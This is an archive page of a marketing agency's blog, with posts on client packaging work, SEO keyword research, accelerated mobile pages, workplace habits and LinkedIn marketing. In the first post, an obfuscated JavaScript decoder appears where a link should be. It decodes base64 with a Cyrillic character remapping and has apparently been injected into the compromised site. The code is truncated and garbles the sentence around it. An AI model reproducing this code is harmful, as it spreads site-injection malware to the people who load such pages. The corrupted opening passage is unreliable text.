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Mascot Benedict – A Packaging Sensation

At Dimasoft we provide a range of fantastic services to our clients including social media management and function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-creation">graphic design. Both of these services can have a huge impact on the growth of a business and when used together can be a powerful tool worth taking advantage of.

For clients R+R Packaging and R+R Industrial, that’s exactly what they did.

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Tuesday, September 5th, 2017 by admin Uncategorized No Comments

 

March’s SEO- Way to go!

Dimasoft Digital Marketing – Summary of Achievement

Introducing the very first edition of monthly victories for Dimasoft’s Digital Marketing team. When we achieve amazing things for our clients, we want to scream and shout about them so here are our top picks from this month...

Peak Body – Long-Tail SARM Keywords reach the top three spot

 stats

 Since last month, Peak Body’s organic revenue has grown significantly due to the on-site optimisation to win these keywords as well as for the complete meal replacement. So much so, that Complete Meal Replacement has sold out!

Oatein – Social Media Campaign off to a great start with new videos!

This month saw the toughest eating competition between the three Amron Tech Giants, Dimasoft, Synthesis IT and GAARR Digital. In addition to the giant cookie eat-off (video coming soon), we have launched the Oatein YouTube channel with a couple of tempting recipe vids to showcase the delicious potential of the brand. Check out these videos with the links below...

https://youtu.be/wj8eIIhJxDo - Banoffee Pie Smoothie

https://youtu.be/PEuYDZssy58 - Protein Cheesecake

 video

R+R Packaging – Content Optimisation leads to 20% more traffic in three months

Yep that's right. We have been overhauling long-term client R+R Packaging's on-site content as part of our ongoing work. In the last 3 months, this has contributed to their online traffic being boosted by a whopping 20%. Extra win – R+R Packaging has also seen a 39% increase in organic revenue when compared against last year!

R+R site

 

Sunday, April 2nd, 2017 by admin Uncategorized No Comments

 

Why Keyword Research is so Important

Keyword research is a combination of trying to understand what people are searching for, how often these searches are made and how well competitors are performing for these terms.

Before we delve into this further, let me explain what a Keyword is.  A keyword is simply the word(s) people use when searching for something in online search engines. Consider the way we organise desktop PC’s by naming folders, the internet works in the exact same way – using keywords lets search engines know where to look for the most suitable content.

Amidst other search engines such as Yahoo and bing, Google’s algorithm is complex but the aim of all search engine's is pretty simple, return the most relevant and most useful result for a user’s search.

The aim of Keyword research is to establish a list of phrases and terms that offer a range of opportunities and potential gaps in the industry. A strategy is then designed to bolster keywords that are doing well and to win terms that aren’t currently ranking at all.

To explain what we mean by 'Competition' – Websites ‘compete’ for terms using myriad ranking factors, and one of these ranking factors is the use of keywords. Some terms are harder to win than others depending on the competition.

For example, a lot of content on the web exists for the term 'weather forecast' meaning it will prove extremely difficult generating enough domain authority on your website, and relevant content centering around the term 'weather forecast' if you are starting out a new website selling a forecast app or a blog about the weather! You would be better trying to develop long tail keywords such as 'weather forecast tomorrow' or 'regional weather forecast' as this will all help to contribute to the term 'weather forecast'. A long tail keywords is simply a variation of the main term, usually prefixed or suffixed with additional adjectives.

If you're curious, as we were, check out a list of the top searched of keywords in 2016.

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Examples of levels in competition

From doing Keyword research properly, you should end up with a number of different terms that vary in terms of difficulty for instance, compared to what my competition is doing, some words are easy to win, and others are much harder to win and therefore will take longer. By "win", we mean the ultimate quest of any marketeer 'appearing at the top of Google'.

We categories these levels of difficulty with three terms. Quick win keywords, mid win keywords, and long term keywords.

A ‘quick win’ keyword is potentially easier to win because not a lot of other retailers are putting focus on that specific phrase or product, this is typically seen on items with lower margin.

‘Mid-win’ keywords are tougher to rank for ( because there's more competition) and are typically for more expensive items.

‘Long-term’ keywords are words that have very high competition but are usually for significant yield. These usually take longer to rank for, due to high competition levels and other factors, such as domain ranking, playing a part in these. These will likely be targeted over a 6 month or yearlong period as they need a lot of work, such as content creation and other site improvements before google will consider you one of the major players.

The is opposed to a quick win keyword would be, which could be achievable to rank for within as little as 3 months.

It’s important to note that an effective keyword strategy is a combination of these three types of keyword. Reason why? Having a good mixture of quick, mid and long term keywords is key to staggering growth realistically and providing wins in the short and long run. This can also help to bolster business growth, including sales, at a realistic and practical rate.

If you are now eager to get going with Keyword research for your own website, get in touch and see how we can help you.

Friday, December 2nd, 2016 by admin Uncategorized No Comments

 

What are Accelerated Mobile Pages?

AMPKnown as AMP for short, accelerated mobile pages are made of stripped-down HTML resulting in much faster loading mobile pages.

AMP is an open-source initiative that was the brainchild of Google and Twitter as well as several other publishers and technology companies in an attempt to change the mobile web infrastructure and create a mobile super-highway.

Companies have sped up mobile devices with applications. Facebook released Instant Articles to make news stories load quickly in their app and Apple recently released the Apple News app – however if you’re a business who cannot afford the expensive price tag of building an app then AMP might just be the way to go to enhancing your user experience as well as score some SEO brownie points too.

How do you create accelerated mobile pages?

Creating AMP HTML doesn’t require an extensive knowledge in web development. Have a look at this tutorial if you’re interested in converting your mobile site pages into AMP HTML yourself.

If you use a WordPress site, an AMP plugin is available which takes out all the hard work – however it will only apply AMP to posts not to pages for now. Other plugins are starting to surface, personally if you don’t have the time to design AMP HTML and build AMP properly then avoid converting your mobile site for now.

For any assistance, feel free to get in touch with us here at Dimasoft.

Does AMP affect page ranking?

In short, yes – but the rank factor varies wildly. Ultimately it’s down to what the user finds compelling.

Hubspot’s article on AMP reported that “Google Senior Director of News and Social Products, Richard Gingras, spoke to advertising news site, AdAge who said that AMP is one of many features and signals Google looks at when determining rankings.”

How fast do amp pages load?

Speed improvements can vary between 7-30 times depending on the mobile coverage at the time.

exAMPle page speed

Accelerated Mobile Page <1 second to respond

AMP speed compare

Normal mobile site ~12 seconds to respond

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

How does AMP work?

  • By designing mobile pages with AMP HTML, a subcategory of HTML with only certain JavaScript available.
  • Accelerated Pages are pre-renderable but only as far as what is visible above the fold and only the least CPU-intensive elements.
  • Caching sites on Googles servers, so that a browser doesn’t need to fetch the URL every single time you send a request.

Are accelerated pages for everyone?

If you’re a publisher, yes – do it now! Especially if you have a Google News presence.

If you have a blog or regular content resource, it’s also worth your time as long as it doesn’t drain too much of your resource. As mentioned above, if you’re a WordPress user it’s fairly straightforward to start publishing AMP posts.

Remember though, AMPs only work by stripping down HTML. If your website relies heavily on dynamic elements, interactive features or multi-media content then consider other ways of speeding up your mobile site.

TLDR - five reasons to move over to AMP

  • Faster loading speeds
  • Better user experience
  • You can start implementing today
  • Google prefers them over non-AMP
  • A wide variety of supported ad networks

Summary

RSS feed google blog

RSS feed of Google's latest blogs as of 22/11/16

Whether or not AMP is here to stay or not, it’s here right now and adopting the technology sooner rather than later seems like the only logical thing to do.

51% of searches are now made on mobile devices and with Google regularly pushing AMP and mobile related articles it seems silly to ignore what is becoming a noticeable trend.

If you’re an existing Dimasoft client then expect to see AMP over the next couple of months.

If you want to enhance your online presence, talk to us – we can help.

 

Tuesday, November 22nd, 2016 by admin Uncategorized No Comments

 

Ways to impove your skills at work

skills that require no talent

As a new addition to the Dimasoft team, I was encouraged to see my boss’ business partner share this image on a popular social networking site as these are all attributes I value in people I work with. Bluntly put, you have nothing stopping you from exhibiting these traits.

Unfortunately, I was unable to trace the exact source of the image, but upon a quick search found dozens of similar shared images, lists and posts commenting in a similar vein that these attributes within an individual require no talent. One of those posts, written by President of Principal Carr Management Group Don Carr, explores each of these in more detail and explains the benefits of exhibiting these characteristics in the workplace.

Talent is defined in the Oxford English Dictionary as ‘natural aptitude or skill’ and whilst some people may have a natural ability to work hard or be prepared, I am hopefully going to dig a little deeper, in order offer insight on how to improve on these skills, if perhaps like me, not all of them come naturally to you. In order to do this, many of the above list can be grouped together as they pertain to the same fundamental point.

Firstly, being on time & being prepared.

Being someone who was brought up to have good punctuality from a young age, this one comes slightly easier to me. As one of those people who would prefer to be half an hour early to something than two minutes late, I am perplexed by people who emit sloppy time keeping and poor preparation. Here’s some easy steps you can follow to ensure you are well prepared and on time for your appointments:

  • Plan the journey ahead of time- Sat Nav it, Google map it, regardless of how you do it, always check how long things will take you when travelling to a business meeting or an appointment. Don’t forget to factor in traffic levels at different times of the day, and potential delays due to weather conditions.
  • Dig out any necessary documents- Go through all previous email correspondence relevant to a meeting or appointment to ensure you have all relevant paperwork and notes in relation to what you are meeting for, and what you hope to come away from the meeting with. This might be a signed agreement, an appointment for a further meeting, or simply answers to your questions.
  • Take notes- This is not something all people need to do, but if your memory is a sieve (as mine often is) do not attend any meetings, or even brief conversations with colleagues, without taking a notepad and pen with me. If any action points then come out of that conversation, e.g. can you remember to call this customer, I can take a note and ensure this gets done later on. Sounds simple but it’s extremely useful.
  • Set reminders- Don’t let your diary get on top of you, if you are frequently having to meet deadlines or drive to meetings, set yourself reminder for the day before, half an hour before, whatever works best for you. This will help to ensure you don’t get distracted by other work, or making the office tea round, and forgot to set off with enough time to get there.

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Energy & Effort

  • Sleep, Exercise & Diet – If your energy levels at work are constantly dwindling, this could be down to other factors outside of work such as eating a good diet, and getting enough sleep. Being healthy outside of work has a profound impact on your attitude within work. If you are often feeling tired, going for a short walk at lunch is proven to boost your dopamine levels and therefore positively impact your energy in the afternoon. Read other tips on how to improve your work energy levels.
  • Effort is related to enjoyment- So are you doing something you enjoy? If not, it is extremely difficult to put a high level of effort into it. Unfortunately, there are no tips for improving this, I would concur with Don Carr that you should quit and find something you do enjoy!

Work Ethic & Doing extra

  • Prioritising workload – As with most job roles, your priorities are likely to change on a daily basis. Although there a whole host of tools out there to help you manage your workload, such as Trello & Orangescrum just to name a few good ones I have used, nothing helps you organise your own workflow better than a scribbled list. Cross things off as they are done, renumber tasks as priorities change, keep it by your desk and do not throw it out until all jobs on there are done! I write a weekly ‘to do’ list and keep adding to it whilst some people prefer a daily list- it is completely up to you.
  • Challenge yourself before lunch – According to research, onlineclock.net humans are generally more productive in the morning hours so use this time to challenge yourself with a difficult task or job you have been putting off. If you can combat a large or difficult task in the morning it will set you in good stead for the remainder of the day and give you a confidence boost to tackle anything else that comes your way.
  • Learn self-discipline – Self-discipline is important, both in getting off those unhelpful sites (social networking namely) and self-discipline from doing all your easy jobs whilst putting off a bigger job that is higher priority. A good way to improve this is to time yourself on how long it takes to do something, as beating personal bests can be motivating in itself. Another incentive which works well, is rewarding yourself once you have done something difficult (with a cuppa or biscuit). If the lure of your favourite website is too tempting that you find yourself on it when you shouldn’t be, makeuseof has some useful ways to help you block the URL.
  • Going above and beyond – Working overtime or performing jobs not asked of you can not only help to show your commitment but can give an enormous sense of pride and ownership in your work. Not sure how to go that extra mile? A good way to go further is to finish up a project, piece of work or even send that last email before you leave the office for the day, this will also give you a clean start the following morning. Doing extra does not always relate to being on your computer, it can be as simple as picking up a few odd jobs around the office such as filing, tidying or asking others if they need support with their work. Going further is self-rewarding and may help to get you recognised and encourage career progression or pay bonuses.

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Passion, Attitude, Body Language

It is difficult to advise others on how to improve their passion and attitude about something as these are so innately influenced by other factors such as mood, energy and even genetics! What you are passionate about it often not something that you can choose, so it is important from the offset to pursue a career that you will enjoy and therefore be naturally passionate about.

  • Self-Reflection- Are you saying no to things without good reason? Are you being snappy or conversely becoming a shrinking violet at your desk? Self-reflection is vital to many aspects of work, in order to improve your working method and effectiveness, but in relation to your attitude, self-reflection may help you to understand the underlying cause of why you are being snappy or moody, does it relate back to an earlier point about lack of energy for example?
    Sometimes reflection can also come from listening to your superiors and colleagues for feedback, what can you infer from what they are telling you? If someone is asking you ‘why’ all the time, perhaps you are not explaining your reasons well enough when you ask them something.
  • Set goals – Passion is hard to measure without something tangible to measure it against. The most passionate of people have somewhere they want to get to, or a thing they want to achieve which allows them to focus and self-motivate. A good way to maintain this is to set incremental goals for yourself, this could be experience driven or volume of work driven, but regardless of how you approach it, setting goals = measurable success.
  • Smile more – Attitude and body language go hand in hand as we can often subconsciously give away how we are feeling though our stance, posture and even minor facial movements.

A positive way to encourage a happy attitude is to smile more, this will also make people more receptive to you in conversations and is vital when meeting new potential customers and existing clients.

Being coachable

  • Listen to everyone - You never know where or rather who you will pick up useful tips and nuggets of advice from. Some of the most useful knowledge can come from the strangest and most unexpected of people. Be open minded and you never know what you might learn.
  • Remember you’re never too old or too experienced to learn new things – Most industries are ever-evolving and therefore there is always more to learn. From more experienced colleagues to e-learning courses to training seminars, there are more and more ways now to expand your knowledge and gain new skills. The trick is to never think you know everything and always be open to learning new things.

 

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Thursday, May 26th, 2016 by Jade Lambourne General Advice, Uncategorized No Comments

 

Making LinkedIn Work

 

Some perspective

One thing to remember about LinkedIn is that the average amount of time spent on LinkedIn in a month is 20 minutes; to put that into perspective, 20 minutes is the average amount of time spent on Facebook in a DAY.

In 2014, LinkedIn accounted for 2% of Europe’s social sharing. It’s not usually the highest on our priority list when it comes to B2C brands BUT a specific B2B strategy can be very valuable on LinkedIn.

LinkedIn is a vital cog in the social media machine when it comes to target a specific audience.

LinkedIn works best for businesses that have a number of very specific job titles in mind, when they think of their target audience.

fotolia_101818967

 

Page vs Profile

One of the key questions asked is where to market a business from. LinkedIn, like Facebook have company pages, where you can post updates and links about the business, and get followers and interactions. Your own personal profile doesn’t get integrated into this page unless you state you work there, or you share the post to your own personal feed.

The issue with a LinkedIn page, however, is the limitations you have with it. The pages aren’t really a tool to talk to people directly, they’re more a base to describe the nature of the business.

Personal profiles give you a lot more flexibility in marketing techniques on LinkedIn. You can connect directly with people, interact on a personal level, and publish posts on the LinkedIn feed.

However, because it is a personal profile, reputation and time are the greatest concerns. This isn’t like Facebook or Twitter where you can reach thousands with £10 and a decent hashtag. You need to be very careful not to spam your connections, nor do you want to be lost in the noise of recruiters.

Advice: Use your personal profile, but very carefully

Groups

Joining industry relevant groups is a great way to get a message out there – for example, if you publish a post or an update about marketing within the group – members of that group get notified. It’s a fantastic way of meeting new people and raising your authority in your industry.

There are thousands of different groups on LinkedIn so the key thing is to be careful about which ones you join. The larger groups are usually controlled by moderators so users can’t spam them with marketing posts. BUT they are a great source of information for other social platforms AND sharing blog posts about a generic subject will help with your own reach and awareness.

Advanced Search

The LinkedIn advanced search is invaluable when wanting to target specific job titles and industries. You can search your own contacts and tag them into their own list (HR Managers, for example); or you can search for people in a certain region that you aren’t connected to (HR Managers in London) which helps to identify potential connections and clients.

LinkedIn enables you to segment these connections through ‘tagging’ which means you can categorise them based on a certain element.

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Looking at profiles

This may sound crazy, but just LOOKING at a profile raises awareness. We’ve all seen those notifications saying ‘Joe Bloggs has viewed your profile’, when it’s a stranger, aren’t you the least bit curious about who and why they’re looking? As soon as you look at a profile, you have reached that person – then you’ll know if they’re curious if they look back!

It’s like high school politics, but it works. It creates a connection before you’re even connected and makes it easier to message and talk to them once you are connected.

Sending messages

Once you’ve sourced your connections, now is the time to send a BRIEF message asking if they’d be happy to talk to you about X or Y or Z. Even better is to ask them about themselves, their business; the nature of their company. Share content that may be of interest to them (something you found in your groups perhaps!).

It isn’t hard to change a generic message template into a personalised one, so keep it short (150 -200 words) and make sure you talk about them personally at some point.

Asking them for feedback on something (like a blog article or product) is a nice introduction to the relationship.

 

 

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Tuesday, May 3rd, 2016 by Jade Lambourne SEO, Social Media, Uncategorized No Comments

 

Web Design for E-Commerce

The last few years have seen dramatic shifts in both the aesthetic and functional approaches to web design. As we have all seen first hand, the way we interact with the internet has evolved as new technologies have developed and become commonplace in our homes, at work and on the move.

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Tuesday, August 25th, 2015 by admin Design, Development, Uncategorized No Comments

 

Two North-East Business Trail Blazers!

A North-East entrepreneur has won a prestigious business award with the help of technology supplied by a Tyneside based IT consultancy. Alison Taylor of Food Local Food won Best Use of Technology in the North-East Woman Entrepreneur Awards 2010. The award is in recognition of a businesswoman who has demonstrated exceptional success in using technology to create a significant competitive advantage in any business area.The showcase event was held at the Newcastle Hilton Hotel on Friday, November 19, 2010. › Continue reading

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Wednesday, November 24th, 2010 by admin Uncategorized No Comments

 

Dimasofts Latest Press Release

Over the past ten years, the Internet has evolved into a potent tool, one which has revolutionised communications, information management and now, the business world.

Dimasoft Limited, based at Amron House on Borough Road in North Shields, is a website and design consultancy. Jonjo McNeill, 30, is the company’s Lead Graphic Designer and as he explains, Dimasoft is witnessing an exponential growth in demand for its e-commerce websites.

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Monday, November 1st, 2010 by admin Uncategorized 1 Comment